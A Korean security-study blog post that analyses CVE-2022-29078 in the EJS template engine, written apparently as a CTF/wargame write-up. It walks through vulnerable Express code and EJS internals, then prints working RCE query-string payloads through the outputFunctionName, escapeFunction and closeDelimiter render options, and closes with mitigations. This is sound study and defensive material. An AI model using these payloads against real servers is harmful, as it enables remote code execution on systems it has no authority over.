CVE-2022-29078

2026. 2. 19. 16:44·Web Study
반응형

드림핵 ejs@3.1.8 문제를 보고 분석을 해보았다.

해당 취약점은 CVE-2022-29078 취약점을 기준으로 EJS 엔진에서 SSTI 취약점이 발견되었고 RCE까지 가능했던 취약점이다.

 

EJS란

: EJS(Embedded JavaScript templates)의 줄임말로, Node.js에서 많이 쓰는 서버 사이드 템플릿 엔진
서버에서 HTML을 만들 때, HTML 안에 <% ... %> 같은 문법으로 값을 끼워넣거나/JS로직을 실행해서 완성된 HTML 문자열을 만들어 브라우저로 내려준다.

 

SSTI란

: 사용자 입력이 템플릿으로 들어가서, 템플릿 엔진이 그 입력을 데이터가 아니라 템플릿/코드/옵션처럼 해석해버리는 취약점

위 취약점은 사용자 입력으로 EJS 렌더 옵션을 덮어써서 템플릿 컴파일 시 생성되는 JS 코드에 악성 구문이 섞이게 되는 흐름으로 이해하면 될 것 같다.


코드 분석

app.js

const express = require('express');
var path = require('path');
const app = express();
const port = 3000;
 
app.set('views', path.join(__dirname, '/templates'));
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));
  • 템플릿은 현재폴더/templates/ 아래에서 찾음
  • 확장자는 ejs를 붙여 렌더링 ex) index.ejs
  • Content-Type: application/x-www-form-urlencoded 형식의 요청 본문(body)을 파싱해서 req.body에 넣어주는 미들웨어.
app.get('/', (req, res) => {
   res.render('index', req.query )
})
 
app.listen(port, () => {})
  • GET 요청 시 실행됨
  • req.query를 index페이지로 전달해 렌더링
  • req.query는 URL의 쿼리스트링 부분을 객체로 만든 것
    ex) ?name=yeonbug&age=25 → req.query = {name : "yeonbug", age : "25"}
  • 서버 시작 위 코드에서 보이는 3000번 포트에서 서버를 열고 요청을 받음

index.ejs

Welcome ! <%= locals?.name %>
  • name 값을 안전하게 출력하기 위해 표현
  • locals가 null / undefined 면 에러를 내지 말고 undefined로 평가함. locals가 객체면 그 안의 name을 읽음
    즉, locals == null ? undefined : locals.name과 같은 표현

예를 들어,   /?name=yeonbug 요청 시 req.query = { name : "yeonbug" } 으로 처리되고 Welcome ! yeonbug으로 처리
하지만, name 없이 /?age=25 요청 시 req.query = {age : "25"}으로 처리되고 locals?.name이 undefined가 되므로  Welcome ! 으로 처리함


취약점 분석

  • 사용자가 입력하는 파라미터를 그대로 넘겨서 렌더링 

ejs 라이브러리의 ejs.js 의 코드를 통해 자세하게 분석해 보겠다.

출처: https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = {};
  }

  return tryHandleCache(opts, data, cb);
};
  • 해당 코드는 447 ~ 490 번째 줄에 해당하는 코드이다.
if (args.length) {
    // Should always have data obj
    data = args.shift();

앞 코드 app.js 에서 req.query 변수를 인자로 전달하고 있었고 args.shift()를 통해 data 변수에 저장된다.

 

저장된 데이터들은 KEY : VALUE 형태로 저장된다.

예시로 ?name=yeonbug 같은 방식으로 파라미터를 전달했다면, data는 name : yeonbug과 같은 식으로 데이터가 저장되는 구조로 이해하면 된다.

 

또한 코드를 살펴보면 아래와 같은 코드를 볼 수 있다.

viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }

data 변수의 settings['view option']를 viewOpts의 변수에 저장하고, 만약 viewOpts가 있다면 opts 변수에 viewOpts를 얕은 복사하는 코드이다.

즉, data.settings['view options'] 라는 값이 있으면 shallowCopy 함수가 실행된다고 해석하면 될 듯하다.

 

shallowCopy

exports.shallowCopy = function (to, from) {
  from = from || {};
  for (var p in from) {
    to[p] = from[p];
  }
  return to;
};
  • ejs 라이브러리의 utils.js 코드의 115 ~ 121 번째 코드이다.
  • to: 복사 대상 객체 / from: 복사 원본 객체
  • from이 null / undefined / false 같은 값이면 {}로 바꿔서 에러를 막음
  • p는 키(key) 문자열이고 from 객체에서 프로퍼티들을 순회
  • from의 키 p 값을 to에 그대로 덮어쓰고 그대로 반환

인자로 opts, viewOpts를 받고 opts에 overwrite 한다는 점을 알고 있으면 좋을 것 같다.

 

EJS는 템플릿을 렌더링 할 때 javascript 코드를 실행시켜 주는 부분이 존재한다.

if (!this.source) {
  this.generateSource();
  prepended +=
    '  var __output = "";\n' +
    '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
  if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
  }
  if (opts.destructuredLocals && opts.destructuredLocals.length) {
    var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
    for (var i = 0; i < opts.destructuredLocals.length; i++) {
      var name = opts.destructuredLocals[i];
      if (i > 0) {
        destructuring += ',\n  ';
      }
      destructuring += name + ' = __locals.' + name;
    }
    prepended += destructuring + ';\n';
  }
  • 위 코드는 JS 코드 조각을 문자열로 만들어 prepended 변수에 붙이는 부분이다.
  • opts.outputFunctionName이 있으면 prepended 변수에 추가한다.
  • opts.outputFunctionName 값을 조작한다면 RCE가 가능

앞 코드 shallowCopy() 함수에서 첫 번째 인자는 opts 변수였다.

즉, 공격자는 opts 변수에 원하는 값을 넣어 조작할 수 있다.


익스플로잇

먼저 shallowCopy() 함수를 실행시키기 위해서는 data.settings['view options'] 라는 값이 있어야 한다.

 

따라서 공격자는 다음과 같은 방식으로 요청이 가능하다.

/?settings[view options][a]=b
  • 다음과 같이 작성하게 되면 a : b 라는 key와 value가 opts 변수에 추가된 다는 것을 알 수 있다.

공격자는 opts 변수에 원하는 값을 넣을 수 있다는 것을 확인했고, RCE를 위해서는 opts.outputFunctionName의 값을 overwrite 해야 한다.

 

다음과 같이 페이로드를 작성해주면

/?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync(실행할 명령어);s
//	outputFunctionName이 있을 때 실행되는 코드
'  var ' + opts.outputFunctionName + ' = __append;\n'

//	페이로드 삽입시 실행되는 코드
var  +  (x; <페이로드>; s)  +  = __append;

//	페이로드 적용된 코드
var x;
process.mainModule.require('child_process').execSync(실행할명령어);
s= __append;

 

해당 취약점은 v3.1.6 이하에서 동작하는 코드이다. 하지만 높은 버전에서 취약점이 발생하지 않는 것은 아니고, v3.1.9까지도 해당 취약점이 동작할 수 있다.

 

위 취약점은 발견되고 수정되었지만 현재까지도 내려오고 있다.

 

CVE-2023-29827

closeDelimiter 파라미터를 통한 RCE

v3.1.9에서 발견

settings[view options][closeDelimiter]= ...

closeDelimiter 검증 강화로 막힘

 

 

escapeFunction 파라미터를 통한 RCE 

v3.1.9+

settings[view options][client]=true&settings[view options][escapeFunction]=1;
return global.process.mainModule.constructor._load('child_process').execSync('코드'); 
c

 

 

https://github.com/mde/ejs/issues/720

 

EJS, Server side template injection ejs@3.1.9 Latest · Issue #720 · mde/ejs

If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.It can easily bypass the fix for CVE-2022-29078 in version ...

github.com

 

https://github.com/mde/ejs/issues/735

 

EJS@3.1.9 has a server-side template injection vulnerability (Unfixed) · Issue #735 · mde/ejs

EJS has a server-side template injection vulnerability. You have fixed some server-side template injection vulnerabilities recently, such as CVE-2022-29078, CVE-2023-29827. But there's one more tha...

github.com


SSTI는 EJS 뿐만 아니라 다양한 템플릿 엔진에서 발생할 수 있다. 아래는 다양한 템플릿엔진에서의 페이로드이다.

 

해결 방안

  1. EJS 업데이트
    • 최소 3.1.10+, 가능하면 최신(현재 4.0.1)
  2. res.render(..., req.query) / req.body 통째 전달 금지
    • 필요한 키만 화이트리스트로 넘기기
  3. Prototype Pollution 차단
    • __proto__, constructor, prototype 키 필터링
    • 병합 로직(Object.assign / for-in 등) 점검
  4. 렌더 옵션을 외부 입력으로 받지 않기
    • client, escapeFunction 같은 옵션은 서버 코드에서 상수로 고정
반응형

'Web Study' 카테고리의 다른 글

JS Obfuscation  (0) 2026.03.03
AWK Code Injection  (0) 2026.02.20
Prototype Pollution  (0) 2026.02.14
CVE-2025-29927  (0) 2026.01.13
XS - Search  (1) 2026.01.07
'Web Study' 카테고리의 다른 글
  • JS Obfuscation
  • AWK Code Injection
  • Prototype Pollution
  • CVE-2025-29927
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    webhacking
    DreamHack
    JavaScript
    xss
    alpacahack
    web
    hacking
    cve
    JS
    LLM
    드림핵
    webstudy
    CSRF
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
CVE-2022-29078
상단으로

티스토리툴바